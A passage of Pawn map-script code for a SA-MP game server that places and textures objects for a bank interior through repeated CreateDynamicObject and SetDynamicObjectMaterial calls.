SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1407.142578 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1406.506592 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1403.449951 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1402.813965 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1402.177979 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1401.541992 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1400.906006 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(1783 , 1400.270020 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLS , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLS = CreateDynamicObject(19371 , 1408.416138 , 1320.754761 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19371 , 1408.098145 , 1320.748779 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19371 , 1402.327759 , 1320.797363 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19371 , 1401.691772 , 1320.795410 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLS = CreateDynamicObject(19425 , 1408.431885 , 1321.102173 , 1500.778076 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1408.131958 , 1321.102173 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1408.131958 , 1321.234253 , 1500.780151 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1408.431885 , 1321.234253 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1402.163818 , 1321.078125 , 1500.778076 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1401.900024 , 1321.078125 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1402.163818 , 1321.234253 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(19425 , 1401.900024 , 1321.234253 , 1500.780151 , 180.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLS = CreateDynamicObject(2293 , 1409.846924 , 1311.458008 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1408.893921 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1407.941772 , 1311.465698 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1407.027954 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1405.161987 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1404.229004 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1403.296021 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12566464);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(2293 , 1402.363037 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLS , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLS = CreateDynamicObject(19448 , 1407.800049 , 1323.947388 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1402.520020 , 1323.950195 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1397.643433 , 1328.591553 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19448 , 1398.538086 , 1308.126099 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19448 , 1403.241089 , 1310.536621 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1407.800049 , 1310.537476 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1393.809937 , 1312.858643 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1393.809937 , 1312.858643 , 1498.300537 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1388.892212 , 1316.276611 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19448 , 1391.914673 , 1320.623657 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19448 , 1396.643311 , 1315.875854 , 1498.300537 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19386 , 1390.470337 , 1331.777710 , 1498.838867 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19448 , 1393.650635 , 1329.453003 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1391.812134 , 1325.209351 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19448 , 1391.813965 , 1320.610718 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19448 , 1394.845947 , 1315.872803 , 1504.166748 , -34.500000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.610229 , 1324.493408 , 1500.197754 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.612549 , 1307.207031 , 1500.197754 , 90.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.610229 , 1324.317383 , 1503.428589 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.612549 , 1310.186035 , 1503.428589 , 90.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.608154 , 1323.755859 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.609253 , 1317.561646 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.608032 , 1314.166382 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.608154 , 1310.757935 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.609741 , 1320.703613 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.607300 , 1315.836548 , 1509.615479 , 0.000000 , 180.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(1897 , 1412.718750 , 1316.545166 , 1502.605957 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(1897 , 1412.719360 , 1315.151611 , 1502.582031 , 0.000000 , -90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(1897 , 1412.719360 , 1315.151611 , 1502.701416 , 0.000000 , -90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(1897 , 1412.718750 , 1316.545166 , 1502.725830 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.608032 , 1313.949951 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.609253 , 1317.800049 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.610229 , 1324.317383 , 1503.676636 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.610229 , 1324.317383 , 1503.924561 , 90.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.612549 , 1310.186035 , 1503.676636 , 90.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLS = CreateDynamicObject(2920 , 1412.612549 , 1310.186035 , 1503.924561 , 90.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 1223 , "dynsigns" , "white64" , -1);
CreateDynamicObject(4585 , 1390.002319 , 1372.762695 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4585 , 1347.873779 , 1336.759033 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4585 , 1345.144653 , 1307.015381 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4585 , 1388.888550 , 1277.294067 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(4585 , 1384.671753 , 1336.227051 , 1524.321045 , 0.000000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(19379 , 1403.841187 , 1308.131958 , 1503.621338 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19379 , 1407.388672 , 1308.132568 , 1503.619263 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19379 , 1402.984009 , 1324.685791 , 1503.621338 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19379 , 1407.388672 , 1324.683838 , 1503.619263 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19380 , 1398.632568 , 1315.999146 , 1508.823120 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19379 , 1393.468994 , 1313.859131 , 1503.623291 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19379 , 1393.468872 , 1320.578247 , 1503.623657 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19379 , 1393.503052 , 1329.789917 , 1503.621704 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(19377 , 1386.650024 , 1314.908569 , 1500.009033 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLSDar1 = CreateDynamicObject(1566 , 1389.640991 , 1331.839355 , 1498.282959 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(3117 , 1394.280151 , 1337.453125 , 1492.254883 , 90.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(2678 , 1405.785645 , 1316.416870 , 1501.058960 , 0.000000 , 0.000000 , -90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.826050 , 1315.692261 , 1501.058960 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.060059 , 1316.383545 , 1501.058960 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.099976 , 1315.658936 , 1501.058960 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.785645 , 1316.416870 , 1503.500610 , 0.000000 , 0.000000 , -90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.060059 , 1316.383545 , 1503.500610 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.099976 , 1315.658936 , 1503.500610 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2678 , 1405.826050 , 1315.692261 , 1503.500610 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLS , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(19380 , 1407.388672 , 1315.894409 , 1504.021973 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19380 , 1403.801270 , 1316.007690 , 1504.020020 , 0.000000 , 90.000000 , 0.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLS = CreateDynamicObject(19448 , 1395.680176 , 1314.039551 , 1502.725098 , -34.500000 , 90.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLS = CreateDynamicObject(2229 , 1405.197998 , 1316.354858 , 1503.141602 , -60.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1405.154053 , 1316.352905 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1403.800049 , 1316.354858 , 1503.647949 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLS = CreateDynamicObject(2229 , 1402.400024 , 1316.354858 , 1503.645874 , -90.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
